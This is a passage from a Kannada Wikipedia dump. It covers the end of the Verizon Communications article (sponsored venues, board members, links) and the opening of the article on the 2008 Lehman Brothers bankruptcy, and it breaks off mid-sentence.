ಸೀರಿಸ್್ನಲ್ಲಿ ಮತ್ತು NASCAR ರಾಷ್ಟ್ರವ್ಯಾಪಿ ಸರಣಿಯಲ್ಲಿ ಪ್ರಾಯೋಜಕತ್ವದ ಪಾಲುದಾರಿಕೆಗೆ ಸ್ಪರ್ಧಿಸುತ್ತಿದೆ. *ವೆರಿಝೋನ್ ಹೆರಿಟೇಜ್ PGA ಟೂರ್ ಫೆಡೆಕ್ಸ್ ಕಪ್ ಹಿಲ್ಟನ್ ಹೆಡ್ ಐಲ್ಯಾಂಡ್, ಸೌಥ್ ಕ್ಯಾರೋಲಿನಾದಲ್ಲಿ ಸ್ಪರ್ಧೆ *ವೆರಿಝೋನ್ IMAX 3ಡಿ ಥಿಯೇಟರ್ ನಾಟಿಕ್್ದಲ್ಲಿಯ ಜೋರ್ಡನ್್ದ ಪೀಠೋಪಕರಣ ಅಂಗಡಿ ಒಳಗೆ ಎಂಎ ಮತ್ತು ರೀಡಿಂಗ್, ಎಂಎ(ಮೊದಲು ಇದನ್ನು ಮೋಶನ್ ಒಡೆಸ್ಸಿ ಮೂವಿ ಎಂ.ಓ.ಎಂ. ಎಂದು ಕರೆಯುತ್ತಿದ್ದರು.) *ಬಾಬ್್ಸ್ಲೀಜ್, ಲೌಜ್ ಮತ್ತು ಸ್ಕೆಲೆಟನ್ ಟ್ರ್ಯಾಕ್ ಇರುವಲ್ಲಿಯೇ ನ್ಯೂ ಯಾರ್ಕ್್ದ ಲೇಕ್ ಪ್ಲಾಸಿಡ್್ನಲ್ಲಿಯ ವೆರಿಝೋನ್ ಸ್ಪೋರ್ಟ್ಸ್ ಕಾಂಪ್ಲೆಕ್ಸ್ ಇರುವುದು. *ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವಿವಿಧ ನಗರಗಳಲ್ಲಿರುವ ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ಮ್ಯುಸಿಕ್ ಸೆಂಟರ್್ಗ ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ಆ್ಯಂಪಿಥಿಯೇಟರ್್ಗಳಲ್ಲಿ ಇವು ಸೇರಿವೆ: ಇರ್ವಿನ್ ಸಿಎ, ನೋಬ್ಲೆಸ್್ವಿಲ್ಲೆ ಐಎನ್, ಸೆಂಟ್.ಲೂಯಿಸ್, ಎಂಓ, ಚಾರ್ಲೊಲ್ಲೆ ಎನ್್ಸಿ, ಪೆಲ್ಹಾಮ್, ಎಎಲ್ ಮತ್ತು ವರ್ಜಿನಿಯಾ ಬೀಚ್ ವಿಎ. * ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ಅರೆನಾ ಮ್ಯಾಂಚೆಸ್ಟರ್, ಎನ್ಎಚ್್ನಲ್ಲಿದೆ. *ವೆರಿಝೋನ್ ಅರೆನಾ ನಾರ್ಥ್ ಲಿಟ್ಲ್ ರಾಕ್, ಎಆರ್್ನಲ್ಲಿದೆ. *ವೆರಿಝೋನ್ ವೈರ್್ಲೆಸ್ ಸೆಂಟರ್ ಮ್ಯಾನ್್ಕಾಟೋ, ಮಿನ್ನೆಸೋಟಾ ದಲ್ಲಿದೆ. ==ಕಾರ್ಪೋರೇಟ್ ಗವರ್ನೆನ್ಸ್== ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್್ನ ಸದ್ಯದ ನಿರ್ದೇಶಕರ ಮಂಡಳಿಯ ಸದಸ್ಯರು ಇಂತಿದ್ದಾರೆ,<ref>[http://investor.verizon.com/corp_gov/board_directors.aspx Investor.verizon.com]</ref> ರಿಚರ್ಡ್ ಕ್ಯಾರಿಆನ್, ರಾಬರ್ಟ್ ಲೇನ್, ಸಾಂಡ್ರಾ ಮೂಸ್, ಜೋಸೆಫ್ ನ್ಯೂಬುಅರ್, ಥಾಮಸ್ ಓ ಬ್ರಿಯಾನ್, ಹಗ್ ಪ್ರೈಸ್, ಇವಾನ್ ಸೀಡೆನ್ಬರ್ಗ್/7}, [[ವಾಲ್ಟರ್ ಶಿಪ್ಲೇ]], [[ಜಾನ್ ಆರ್. ಶ್ಟಾಫೋರ್ಡ್]],ಮತ್ತು [[ರಾಬರ್ಟ್ ಸ್ಟೋರಿ]].<ref>{{cite web |title=Verizon Corporate Governance |url=http://investor.verizon.com/corp_gov/board_directors.aspx | accessdate=January 2, 2008 }}</ref> ==ಇವನ್ನೂ ಗಮನಿಸಿ== {{Portal box|New York City|Companies}} *ಏರ್್ಫೋನ್ — ವೆರಿಝೋನ್ ನೀಡಿರುವ ಏರ್-ಗ್ರೌಂಡ್ ರೇಡಿಯೋಟೆಲಿಫೋನ್ ಸರ್ವಿಸ್ *ಏರ್ ಟಚ್ *ಐಡಿಯಾರ್ಕ್ *ಎಂಸಿಐ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ *ಪ್ಲೇಲಿಂಕ್ *ವೆರಿಝೋನ್ ಬಿಸಿನೆಸ್ *ವೆರಿಝೋನ್ ಸ್ಮಾರ್ಟ್ ಪಾರ್ಕ್ — ಅಡ್ವಾನ್ಸ್ಡ್ ಟೆಲಿಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಸರ್ವಿಸಸ್ *ವೆರಿಜೋನ್‌ ವೈರ್‌ಲೆಸ್‌ {{-}} == ಉಲ್ಲೇಖಗಳು == {{Reflist|2}} {{Clear}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Commons category|Verizon}} * {{Official|http://www.verizon.com}} * [http://www.verizonbusiness.com/ ವೆರಿಝೋನ್ ಬಿಸಿನೆಸ್] * [http://investor.verizon.com/profile/history/index.aspx ಎ ಹಿಸ್ಟರಿ ಆಫ್ ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್] * [http://moneyning.com/coupons/verizon-promo-code-and-verizon-coupons/ ಪ್ರಸ್ತುತ ವ್ಯವಹಾರಗಳೊಂದಿಗೆ ನಿರಂತರ ಪರಿಷ್ಕೃತಗೊಳ್ಳುವ ವೆರಿಝೋನ್ ಪ್ರೋಮೋ ಕೋಡ್ ಪೇಜ್ ] {{Webarchive|url=https://web.archive.org/web/20100209111645/http://moneyning.com/coupons/verizon-promo-code-and-verizon-coupons/ |date=2010-02-09 }} * [https://web.archive.org/web/19980121031857/http://www.ba.com/ ಬೆಲ್ ಅಟ್ಲಾಂಟಿಕ್] (ಕಡತ) {{Verizon}} {{AT&T Spinoffs}} {{United States telephone companies}} {{Dow Jones Industrial Average companies}} [[ವರ್ಗ:ವೆರಿಝೋನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್]] [[ವರ್ಗ:1983ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾದ ಕಂಪೆನಿಗಳು]] [[ವರ್ಗ:ನ್ಯೂಯಾರ್ಕ್ ನಗರದಲ್ಲಿ ಮೂಲವನ್ನು ಹೊಂದಿರುವ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:ಡೌ ಜೋನ್ಸ್ ಇಂಡಸ್ಟ್ರಿಯಲ್ ಆವರೇಜ್]] [[ವರ್ಗ:ಬೆಲ್ ಸಿಸ್ಟಮ್]] [[ವರ್ಗ:ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಟೆಲಿಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:ಬ್ರಾಡ್‌ಬ್ಯಾಂಡ್‌]] [[ವರ್ಗ:ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಇಂಟರ್ನೆಟ್‌ ಸೇವಾ ಪೂರೈಕೆದಾರರು]] [[ವರ್ಗ:ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹಣ ಸಂದಾಯ ಮಾಡುವ ಟೆಲಿಫೋನ್ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುವವರು]] [[ವರ್ಗ:ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕೇಬಲ್ ಟೆಲಿವಿಶನ್ ಕಂಪನಿಗಳು]] [[ವರ್ಗ:ವೀಡಿಯೋ ಆನ್ ಡಿಮಾಂಡ್]] [[ವರ್ಗ:ಉದ್ಯಮ]] pkp5ca8i3uwbviacoroywvd7b6g1ozi ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ದಿವಾಳಿತನ 0 26245 1116444 1065187 2022-08-23T12:41:03Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[File:Lehman Brothers Times Square by David Shankbone.jpg|thumb|upright|right|ನ್ಯುಯಾರ್ಕ್ ನಗರನಲ್ಲಿರುವ ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಪ್ರಧಾನ ಕೇಂದ್ರ ಕಚೇರಿ]] {{See also|Lehman Brothers}} [[ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್]] ಚಾಪ್ಟರ್ 11ರ ಅಧ್ಯಾಯದ ನಿಯಮದಡಿ ದಿವಾಳಿತನದ ವಿರುದ್ದ ರಕ್ಷಣೆಗೆ ಸೆಪ್ಟೆಂಬರ್ 15, 2008 ರಲ್ಲಿ ವಿವರ ಮನವಿ ದಾಖಲಿಸಿತು.(ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ನ ಬ್ಯಾಂಕ್ರಪ್ಟಸಿ ಕೋಡ್ ನಡಿ ಮರುಸಂಘಟಿತವಾಗಲು ಕೋರಿಕೆ ಸಲ್ಲಿಕೆ) ಈ '''ಲೆಹ್ಮನ್ ಬ್ರದರ್ಸ್ ನ ಬ್ರಾಂಕ್ರಪ್ಟಿಸಿ''' ದಿವಾಳಿತನದ ಪ್ರಕರಣವು U.S.ನ ಇತಿಹಾಸದಲ್ಲೇ ಅತಿ ದೊಡ್ಡ ಪ್ರಮಾಣದ ಕೋರಿಕೆಯಾಗಿದೆ.ಲೆಹ್ಮನ್ ಒಟ್ಟು ಸುಮಾರು $600 ಶತಕೋಟಿ ಮೌಲ್ಯದ ಆಸ್ತಿಗಳನ್ನು ಹೊಂದಿದೆ.<ref>{{cite web |url=http://www.marketwatch.com/news/story/story.aspx?guid={2FE5AC05-597A-4E71-A2D5-9B9FCC290520}&siteid=rss |title=Lehman folds with record $613 billion debt|publisher=Marketwatch |date=2005-09-15 |accessdate=2008-09-15}}</ref> ==ಹಿನ್ನೆಲೆ== {{Main|Subprime mortgage crisis}} ===ಆಸ್ತಿ-ಪಾಸ್ತಿ ಗಳ ಅಡಮಾನ ಮಾರುಕಟ್ಟೆಗೆ ಒಡ್ಡಿಕೊಳ್ಳುವಿಕೆ=== ಲೆಹ್ಮನ್ ಅವರು ತಮ್ಮ 2008ರ ದಿವಾಳಿತನದ ಸಂದರ್ಭದಲ್ಲಿನ ಕೊರತೆ ಭರ್ತಿಗಾಗಿ ನಿಧಿ ಸಂಗ್ರಹಿಸುವ ನಿಟ್ಟಿನಲ್ಲಿ ಒತ್ತೆ ಇಟ್ಟುಕೊಳ್ಳುವ ಅಥವಾ ಅದಕ್ಕೆ ಪೂರಕ ಚಲನಶೀಲತೆ ತುಂಬುವ ಉದ್ದೇಶದಿಂದ ಸಾಧನವೆನಿಸಿದ ಈ ವಹಿವಾಟಿನಲ್ಲಿ ತೊಡಗಿತು. ಈ ನಿಧಿಯ ಬಹುಮುಖ್ಯ ಭಾಗವನ್ನು ಅದು ಗೃಹನಿರ್ಮಾಣ-ಸಂಭಂಧಿ ವಹಿವಾಟಿಗಾಗಿ ಬಳಸಲು ನಿರ್ಧರಿಸಿತು.ಆದರೆ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ಈ ವ್ಯವಹಾರದ ತೀವ್ರ ಇಳಿಮುಖ ಪ್ರವೃತ್ತಿಯು ಅದಕ್ಕೆ ಮಾರಕವಾಗಿ ಪರಿಣಮಿಸಿತು. ಆದರೆ ಈ ವ್ಯವಹಾರದ ಅದರ ಅನುಪಾತದ ಪ್ರಮಾಣವು ಅಪಾಯಕಾರಿ ಹೆಜ್ಜೆಯಾಗಿ ಪರಿಣಮಿಸಿತು.ಅದರ ಅಳತೆ ಪ್ರಮಾಣಗಳು ಆಸ್ತಿ ಮಾಲಿಕರ ಈಕ್ವಿಟಿಯ ಪ್ರಮಾಣಕ್ಕೆ ಸರಿದೂಗುವಂತಹವು ಆಗಿರಲಿಲ್ಲ.ಗರಿಷ್ಟ ಅದರ ಅನುಪಾತ ದರವು 2003 ರಲ್ಲಿದ್ದದ್ದು 24:1 ಆದರೆ ಅದು 2007 ರ ಹೊತ್ತಿಗೆ 31:1 ಕ್ಕೆ ಏರಿಕೆಯಾಯಿತು.<ref>[http://www.secinfo.com/d11MXs.t5Bb.htm#1stPage ಲೆಹ್ಮನ್ 2007 ಆನ್ಯುವಲ್ ರಿಪೊರ್ಟ್-ಸೀ ಐಟೆಮ್ 6 ಆನ್ ಪೇಜ್ 29 ಫಾರ್ ರೇಶಿಯೊಸ್]</ref> ಮಾರುಕಟ್ಟೆಯ ಸುಗ್ಗಿ ಕಾಲದಲ್ಲಿ ಅದು ಅತ್ಯಧಿಕ ಲಾಭ ಮಾಡಿಕೊಂಡಿತ್ತು.ಆದರೆ ಆಸ್ತಿ ವಹಿವಾಟಿನಲ್ಲಿನ ಕೇವಲ 3-4% ರ ಇಳಿಕೆ ಅದರ ಈಕ್ವಿಟಿ ಅಥವಾ ಶೇರುಗಳ ಮುಖಬೆಲೆಯನ್ನು ಪಾತಾಳಕ್ಕಿಳಿಸಿತು.<ref>[http://www.newleftreview.org/?view=2715 ಬ್ಲ್ಯಾಕ್ ಬರ್ನ್-ದಿ ಸಬ್ ಪ್ರೈಮ್ ಕ್ರೈಸಿಸ್-ನಿವ್-ಲೆಫ್ಟ್ ರಿವೆವ್-ಮಾರ್ಚ್/ಏಪ್ರಿಲ್ 2008]</ref> ಬಂಡವಾಳ ಹೂಡಿಕೆ ಬ್ಯಾಂಕುಗಳಾದ ಲೆಹ್ಮನ್ ನಂತಹುಗಳಿಗೆ ಠೇವಣಿ ಬ್ಯಾಂಕುಗಳಿಗೆ ಅಪಾಯಕಾರಿ ಹೆಜ್ಜೆ ತೆಗೆದುಕೊಳ್ಳುವಲ್ಲಿ ಇರುವ ನಿಯಂತ್ರಣ-ಕಟ್ಟಳೆಗಳು ಇಲ್ಲಿರುವುದಿಲ್ಲ.<ref>[https://www.nytimes.com/2008/10/03/business/03sec.html?em NYT-ಏಜೆನ್ಸಿ 04 ರೂಲ್ ಲೆಟ್ ಬ್ಯಾಂಕ್ಸ್ ಪೈಲ್ ಅಪ್ ಮೋರ್ ಡೆಬ್ಟ್-ಅಕ್ಟೋಬರ್, 2008]</ref> ಲೆಹ್ಮನ್ ಆಗಷ್ಟ್ 2007 ರಲ್ಲಿ ತನ್ನ ಹಣಕಾಸು ಸಾಲದ ಉಪವಿಭಾಗ BNC ಮಾರ್ಟಗೇಜ್ ನ್ನು ಮುಚ್ಚಿತು.ಈ ಮೂಲಕ ಅದರ 23 ಸ್ಥಾನಿಕ ಕೇಂದ್ರಗಳಲ್ಲಿದ್ದ 1,200 ಸೇವಾ ನೆಲೆಗಳನ್ನು ತೆಗೆದು ಹಾಕಲಾಯಿತು.ತೆರಿಗೆ ನಂತರ ಅದು $27 ದಶಲಕ್ಷ ಮೊತ್ತವನ್ನು ಪಡೆದುಕೊಂಡು, ತನ್ನ ಕಂಪನಿಯ ಯಶಸ್ವಿಯ ಸದಾಶಯದ ಅಂದರೆ ಗುಡ್ ವಿಲ್ ನಲ್ಲಿ $27 ದಶಲಕ್ಷದಷ್ಟು ಕಡಿಮೆ ಮಾಡಿಕೊಂಡಿತು. ವಹಿವಾಟು ಕಂಪನಿ ಹೇಳುವ ಪ್ರಕಾರ ಮಾರ್ಟ್ ಗೇಜ್ ಅಥವಾ ಅಡಮಾನ ಮಾರುಕಟ್ಟೆಯ ದರದಲ್ಲಿನ ಕಳಪೆ ಪರಿಸ್ಥಿತಿಯಿಂದಾಗಿ ತನ್ನ "ಈ ಸಬ್ ಪ್ರೈಮ್ ಜಾಗೆಗಳನ್ನು ಮುಚ್ಚಬೇಕಾಯಿತಲ್ಲದೇ ಸಂಪನ್ಮೂಲ ಮತ್ತು ಕಾರ್ಯಕ್ಷಮತೆಯಲ್ಲಿನ ಇಳಿಕೆಯಿಂದ ಈ ಕ್ರಮ ಅನಿವಾರ್ಯವಾಯಿತು." <ref>{{cite web |url=http://www.thestreet.com/story/10375812/1/lehman-brothers-amputates-mortgage-arm.html |title=Lehman Brothers Amputates Mortgage Arm |author=Kulikowski, Laura |date=2007-08-22 |accessdate=2008-03-18 |publisher=[[TheStreet.com]]}}</ref> ===ಲೆಹ್ಮನ್ ನ ಅಂತಿಮ ಮಾಸಗಳು=== ಲೆಹ್ಮನ್ 2008 ರ ಸುಮಾರಿಗೆ ನಿರಂತರ ಆಸ್ತಿ ವಹಿವಾಟಿನಲ್ಲಿನ ಅಡಮಾನ ಹಣಕಾಸು ಸಂಭಂಧಿಸಿದ [[ಅಮೇರಿಕದ ಭೋಗ್ಯ ಬಿಕ್ಕಟ್ಟು|ಸಬ್ ಪ್ರೈಮ್ ಮಾರ್ಟ್ ಗೇಜ್ ಬಿಕ್ಕಟ್ಟಿ]]ನಿಂದಾಗಿ ಅದು ಊಹಾತೀತ ನಷ್ಟ ಅನುಭವಿಸುವಂತಾಯಿತು. ಲೆಹ್ಮನ್ ತನ್ನ ಬಹುಭಾಗವನ್ನು ಸಬ್ ಪ್ರೈಮ್ ಮತ್ತು ಇನ್ನುಳಿದ ಕಡಿಮೆ ದರದ ಅಡಮಾನ ವರಮಾನ ಭಾಗಗಳಲ್ಲಿ ಸೆಕ್ಯುರಟಿಯ ನಂಬಿ ಬಂಡವಾಳ ಹೂಡಿದ್ದೇ ನಷ್ಟಕ್ಕೆ ಕಾರಣವಾಯಿತೆಂಬುದು ಸ್ಪಷ್ಟವಾಗಿ ಗೋಚರಿಸಿತು. ಇದನ್ನು ಮಾಡಲು ಕಾರಣವೆಂದರೆ ಲೆಹ್ಮನ್ ಕಡಿಮೆ ದರದ ಬಾಂಡ್ ಗಳನ್ನು ಮಾರಾಟ ಮಾಡಲು ಅಥವಾ ಅವುಗಳನ್ನು ಸಮರ್ಪಕವಾಗಿ ನಿರ್ವಹಿಸಲು ಸಮರ್ಥವಾಗಿರಲಿಲ್ಲ. ಹೀಗೆ ಆ ಸಮಯದ ಎಲ್ಲಾ ವಹಿವಾಟುಗಳಲ್ಲಿ ಕಡಿಮೆ-ದರದ ಅಡಮಾನ-ಹಿನ್ನಲೆಯ ಈ ಸೆಕ್ಯುರಿಟೀಸ್ ಗಳಲ್ಲಿ 2008 ರ ಅವಧಿಯಾದ್ಯಂತ ನಿರಂತರ ನಷ್ಟ ಅನುಭವಿಸಬೇಕಾಯಿತು. ಎರಡನೆಯ ಹಣಕಾಸು ವರ್ಷದ ತ್ರೈಮಾಸಿಕ ಅವಧಿಯಲ್ಲಿ ಲೆಹ್ಮನ್ $2.8 ಶತಕೋಟಿ ನಷ್ಟ ತೋರಿಸಿತು.ಹೀಗಾಗಿ $6 ಶತಕೋಟಿ ಮೌಲ್ಯದ ಆಸ್ತಿಗಳನ್ನು ಮಾರುವುದು ಅನಿವಾರ್ಯವಾಯಿತು.<ref name="nytimes-crisis">{{cite news |url=https://www.nytimes.com/2008/08/29/business/29wall.html?em |title=Struggling Lehman Plans to Lay Off 1,500 |author=Jenny Anderson |coauthors=Eric Dash |work=The New York Times |date=2008-08-29 |accessdate=2008-08-29}}</ref> ಲೆಹ್ಮನ್ 2008 ರ ಅರ್ಧವಾರ್ಷಿಕ ಅವಧಿಯಲ್ಲಿ 73% ರಷ್ಟು ತನ್ನ ದಾಸ್ತಾನನ್ನು ಕಳೆದುಕೊಂಡಿತು.ಸಾಲದ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿನ ಸತತ ಬಿಗುವಿನ ಸ್ಥಿತಿಯಿಂದಾಗಿ ಹಾನಿಗೊಳಗಾಗಬೇಕಾಯಿತು.<ref name="nytimes-crisis" /> ಲೆಹ್ಮನ್ ಆಗಷ್ಟ 2008 ರಲ್ಲಿ ತನ್ನ ಸುಮಾರು 6% ರಷ್ಟು ಅಂದರೆ 1,500 ಕಾರ್ಮಿಕ ಪಡೆಯನ್ನು ವಿಮುಕ್ತಿಗೊಳಿಸಲು ಉದ್ದೇಶಿಸಿತೆಂದು ವರದಿ ಮಾಡಲಾಗಿತ್ತು.ಸೆಪ್ಟೆಂಬರ್ ತಿಂಗಳಲ್ಲಿ ಅದರ ಮೂರನೆಯ ತ್ರೈಮಾಸಿಕ ಹಣಕಾಸು ಅವಧಿಯಲ್ಲಿ ಇದನ್ನು ಮಾಡಲು ನಿರ್ಧರಿಸಿತ್ತು.<ref name="nytimes-crisis" /> ಆಗಷ್ಟ್ 22, 2008 ರಲ್ಲಿ ಲೆಹ್ಮನ್ ನಲ್ಲಿನ ಶೇರುಗಳು 5% ಕ್ಕೆ ಬಂದು ತಲುಪಿದವು.(ಆ ವಾರದಲ್ಲಿ ಶೇರು ನಿಯಂತ್ರಣ ಮಾರುಕಟ್ಟೆ ಪಟ್ಟಿಯಲ್ಲಿ ಅದು 16% ರಷ್ಟಾಗಿತ್ತು.)ಆಗ ಸರ್ಕಾರ ನಿಯಂತ್ರಣದ ಕೊರಿಯಾ ಡೆವೆಲಪ್ಮೆಂಟ್ ಬ್ಯಾಂಕ್ ಲೆಹ್ಮನ್ ನನ್ನು ಖರೀದಿಸುವ ಸುದ್ದಿ ಹರಡಿತ್ತು.<ref>ನ್ಯುಯಾರ್ಕ್ ಟೈಮ್ಸ್, ವರ್ಲ್ಡ್ ಬಿಜೆನೆಸ್, ಆರ್ಟಿಕಲ್ ಬೈ ಜೆನ್ನಿ ಅಂಡೆರ್ಸನ್ ಅಂಡ್ ಲಂಡನ್ ಥೊಮಸ್, 22 ಆಗಸ್ಟ್ 2008</ref> ಆದರೆ ಈ ಏರಿಕೆ ಬಹುದಿನ ಇರಲಿಲ್ಲ,ಯಾಕೆಂದರೆ ಕೊರಿಯಾ ಡೆವೆಲಪ್ಮೆಂಟ್ ಬ್ಯಾಂಕ್ "ನಿಯಮಗಳನ್ನು ಅನುಸರಿಸುವಲ್ಲಿ ತೊಂದರೆ ಅನುಭವಿಸುತ್ತದೆಯಲ್ಲದೇ ಈ ವಹಿವಾಟಿಗೆ ಪಾಲುದಾರರನ್ನು ಆಕರ್ಷಿಸಲು ಅದು ವಿಫಲವಾಗಿತ್ತೆಂದು ಸುದ್ದಿ ಹರಡಿತು."<ref>{{cite web|url=http://www.marketwatch.com/News/Story/Story.aspx?guid={9E9BDC4C-06D1-4EBD-971B-FCD4A4249F24}&siteid=yhoof2 |title=Financials slip as Korea snags weigh on Lehman and Merrill - MarketWatch |publisher=Marketwatch.com |date= |accessdate=2008-09-14}}</ref> ಆಗ ಸೆಪ್ಟೆಂಬರ್ 9,2008 ರಲ್ಲಿ ಈ ಪ್ರಕರಣವು ಏರಿಕೆಯ ಸುದ್ದಿಯಿಂದಾಗಿ 45% ರಿಂದ $7.79 ಗೆ ನೆಗೆಯಿತು.ದಕ್ಷಿಣ ಕೊರಿಯಾದ ಸಂಸ್ಥೆಯು ತನ್ನ ವಹಿವಾಟುಗಳ ಮಾತುಕತೆಗಳನ್ನು ತಡೆಹಿಡಿಯಿತೆಂಬ ಮಾತುಗಳೂ ಆಗ ಕೇಳಿ ಬಂದವು.<ref>{{cite web|url=http://afp.google.com/article/ALeqM5iB5zn0q4MyPe4UpwVXIT03heWOEA |title=AFP: Lehman Brothers in freefall as hopes fade for new capital |publisher=Afp.google.com |author=5 days ago |date=5 days ago |accessdate=2008-09-14|archiveurl=https://web.archive.org/web/20090421002953/http://afp.google.com/article/ALeqM5iB5zn0q4MyPe4UpwVXIT03heWOEA|archivedate=2009-04-21}}</ref> ಲೆಹ್ಮನ್ ನ ದಾಸ್ತಾನಿನ ಮೌಲ್ಯಗಳಲ್ಲಿ ಅರ್ಧದಷ್ಟು ಕಳೆದು ಹಾನಿಗೊಳಗಾಯಿತೆಂಬ ವಿಷಯವು ಬಂಡವಾಳ ಹೂಡಿಕೆದಾರರಲ್ಲಿನ ನಂಬಿಕೆಯನ್ನು ಅಳಸಿ ಹಾಕಿತು.ಅದರಿಂದಾಗೆ ಅದರ ಮೌಲ್ಯವು ಸೆಪ್ಟೆಂಬರ್ 9,2008 ರಲ್ಲಿ S&amp;P 500ರಷ್ಟು 3.4% ಕ್ಕೆ ಬಂದು ನಿಂತಿತು. ಪ್ರಖ್ಯಾತ ಸಂಸ್ಥೆ ಡೌ ಜೊನ್ಸ್ ಅದೇ ದಿನ ಸುಮಾರು 300 ಅಂಶಗಳನ್ನು ಕಳೆದುಕೊಂಡಿತು.ಬ್ಯಾಂಕ್ ನ ಭದ್ರತೆ ವಿಷಯದಲ್ಲಿನ ಅನುಮಾನದಿಂದ ನೋಡಿದ್ದೇ ಇದಕ್ಕೆ ಕಾರಣವಾಯಿತು.<ref name="tp-0909">{{cite news |url=http://www.nola.com/business/index.ssf/2008/09/dow_plunges_nearly_300_points.html |title=Dow plunges nearly 300 points on concern about Lehman |publisher=Times-Picayune |date=2008-09-09 |accessdate=2008-09-09}}</ref> ಆದರೆ U.S ಸರ್ಕಾರವು ಲೆಹ್ಮನ್ ಅನುಭವಿಸುತ್ತಿದ್ದ ಹಣಕಾಸು ಬಿಕ್ಕಟ್ಟನ್ನು ನಿವಾರಿಸುವ,ಅಥವಾ ನೆರವಿಗೆ ಬರುವ ಯಾವುದೇ ಯೋಜನೆಯನ್ನು ಘೋಷಿಸಲಿಲ್ಲ.<ref name="nytimes-0909">{{cite news |url=https://www.nytimes.com/2008/09/10/business/10place.html?_r=1&hp&oref=slogin |title=Wall Street’s Fears on Lehman Bros. Batter Markets |publisher=The New York Times |date=2008-09-09 |accessdate=2008-09-09 |author=Jenny Anderson}}</ref> ಲೆಹ್ಮನ್ ಸೆಪ್ಟೆಂಬರ್ 10,2008 ರಲ್ಲಿ $3.9 ಶತಕೋಟಿ ನಷ್ಟ ಅನುಭವಿಸಿತು.ತನ್ನ ಬಂಡವಾಳ ಹೂಡಿಕೆಯ-ಆಡಳಿತ ನಿರ್ವಹಣಾ ವಹಿವಾಟಾದ ನ್ಯುಬರ್ಗರ್ ಬರ್ಮನ್ ಒಳಗೊಂಡಂತೆ ಹಲವನ್ನು ಪರಭಾರೆ-ಮಾರಾಟ ಮಾಡುವ ಉದ್ದೇಶ ಹೊಂದಿತ್ತು.<ref name="nytimes-0910">{{cite news |url=https://www.nytimes.com/2008/09/11/business/11lehman.html?_r=1&hp&oref=slogin |title=Lehman Sees $3.9 Billion Loss and Plans to Shed Assets |publisher=The New York Times |author=Ben White |date=2008-09-10 |accessdate=2008-09-10}}</ref><ref name="ap-0910" /> ಅದೇ ದಿನ ಅದರ ಶೇರು ಭದ್ರತಾ ವಹಿವಾಟು 7%ಕ್ಕೆ ಜಾರಿಹೋಗಿ ಅದರ ಪ್ರಮಾಣ ಇಳಿಕೆಯಾಯ್ತು.<ref name="ap-0910">{{cite news |url=http://seattletimes.nwsource.com/html/businesstechnology/2008171076_weblehman10.html |title=Lehman shares slip on plans to auction off unit, consider sale of company |author=Joe Bel Bruno |publisher=The Associated Press |date=2008-09-10 |accessdate=2008-09-10}}</ref><ref name="nytimes-0911">{{cite news |url=https://www.nytimes.com/2008/09/11/business/11lehman.html?hp |title=As Pressure Builds, Lehman Said to Be Looking for a Buyer |author=Jenny Anderson |couthors=Andrew Ross Sorkin |publisher=The New York Times |date=2008-09-11 |accessdate=2008-09-11}}</ref> ಸೆಪ್ಟೆಂಬರ್ 13,2008 ರಲ್ಲಿ ಟಿಮೊತಿ ಎಫ್.ಗೆತ್ನರ್ ಅವರು ಈ ಹಿಂದೆ ಫೆಡ್ರಲ್ ರಿಜರ್ವ ಬ್ಯಾಂಕ್ ಆಫ್ ನ್ಯುಯಾರ್ಕ್ ನ ಅಧ್ಯಕ್ಷರಾಗಿದ್ದರು.ಅವರು ಲೆಹ್ಮನ್ ನ ಭವಿಷ್ಯ ಮತ್ತು ಆಸ್ತಿಗಳ ವಹಿವಾಟು-ಮಾರಾಟದ ವಿಷಯ ಕುರಿತು ಚರ್ಚಿಸಲು ಸಭೆಯೊಂದನ್ನು ಕರೆದರು.<ref name="nytimes-0913">{{cite news |url=https://www.nytimes.com/2008/09/13/business/13rescue.html?_r=1&hp&oref=slogin |title=U.S. Gives Banks Urgent Warning to Solve Crisis |author=Jenny Anderson |coauthors=Eric Dash, Vikas Bajaj, Edmund Andrews |publisher=The New York Times |date=2008-09-13 |accessdate=2008-09-13}}</ref> ಆಗ ಲೆಹ್ಮನ್ ತಾನು ಬ್ಯಾಂಕ್ ಆಫ್ ಅಮೆರಿಕಾ ಮತ್ತು ಬಾರ್ಕ್ಲೇಸ್ ನೊಂದಿಗೆ ತನ್ನ ಕಂಪನಿಯ ಮಾರಾಟ ಕುರಿತ ಮಾತುಕತೆ ನಡೆಯುತ್ತಿದೆ ಎಂದು ಹೇಳಿತು.<ref name="nytimes-0913" /> ''ದಿ ನ್ಯುಯಾರ್ಕ್ ಟೈಮ್ಸ್'' ಸೆಪ್ಟೆಂಬರ್ 14 2008ರ ತನ್ನ ವರದಿಯಲ್ಲಿ, ಬಾರ್ಕ್ಲೆಯ್ ಈಗಾಗಲೇ ಲೆಹ್ಮನ್ ನ ಸಂಪೂರ್ಣ ಅಥವಾ ಭಾಗಶಃ ಖರೀದಿಯ ಹರಾಜು 